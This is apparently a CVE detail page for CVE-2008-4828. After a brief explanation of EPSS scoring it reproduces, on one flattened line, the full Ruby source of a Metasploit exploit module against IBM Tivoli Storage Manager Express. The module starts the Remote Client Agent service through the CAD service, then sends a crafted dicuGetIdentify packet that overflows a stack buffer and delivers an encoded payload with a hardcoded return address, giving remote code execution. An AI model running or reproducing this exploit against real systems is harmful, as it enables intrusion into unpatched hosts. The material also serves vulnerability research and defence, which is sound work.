CVE-2008-4828 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # $Id: ibm_tsm_rca_dicugetidentify.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'IBM Tivoli Storage Manager Express RCA Service Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express Remote Client Agent service. By sending a "dicuGetIdentify" request packet containing a long NodeName parameter, an attacker can execute arbitrary code. NOTE: this exploit first connects to the CAD service to start the RCA service and obtain the port number on which it runs. This service does not restart. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2008-4828' ], [ 'OSVDB', '54232' ], [ 'BID', '34803' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Privileged' => true, 'Payload' => { # wchar_t buf[1024]; 'Space' => ((1024*2)+4), 'BadChars' => '\x00', 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # this target should be pretty universal.. # dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date.. [ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0 ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 04 2009')) register_options( [ Opt::RPORT(1582) ], self.class ) end def make_tsm_packet(op,data) pkt = "" if op > 0xff pkt << [0,8,0xa5,op,0xc+data.length].pack('nCCNN') else pkt << [data.length,op,0xa5].pack('nCC') end pkt << data end def explode_tsm_packet(buf) return nil if buf.length < 4 len,op,magic = buf[0,4].unpack('nCC') return nil if magic != 0xa5 if op == 0x08 return nil if buf.length < 12 op,len = buf[4,8].unpack('NN') data = buf[12,len] else data = buf[4,len] end return op,data end def extract_port(buf) op,data = explode_tsm_packet(buf) if op != 0x10300 print_error("Invalid response verb from CAD service: 0x%x" % op) return nil end if data.length < 6 print_error("Insufficient data from CAD service.") return nil end port_str_len = data[4,2].unpack('n')[0] if data.length < (24+port_str_len) print_error("Insufficient data from CAD service.") return nil end rca_port = data[24,port_str_len].unpack('n*').pack('C*').to_i end def exploit print_status("Trying target %s..." % target.name) # first get the port number query = [1].pack('n') query << "\x00" * 10 data = make_tsm_packet(0x10200, query) connect print_status("Attempting to start the RCA service via the CAD service...") sock.put(data) buf = sock.get_once(-1, 10) disconnect rca_port = extract_port(buf) if not rca_port or rca_port == 0 print_error("The RCA agent service was not started :(") else print_status("RCA Agent is now running on port %u" % rca_port) end # trigger the vulnerability copy_len = payload_space + 4 sploit = rand_text(33) # start offset, length sploit[10,4] = [0,copy_len].pack('n*') # data to copy buf = payload.encoded # we need this special encoding to make it work.. buf << [target.ret].pack('V').unpack('v*').pack('n*') # adjustment :) sploit << buf data = make_tsm_packet(0x10400, sploit) connect(true, { 'RPORT' => rca_port }) print_status("Sending specially crafted dicuGetIdentifyRequest packet...") sock.write(data) print_status("Starting handler...") handler disconnect end end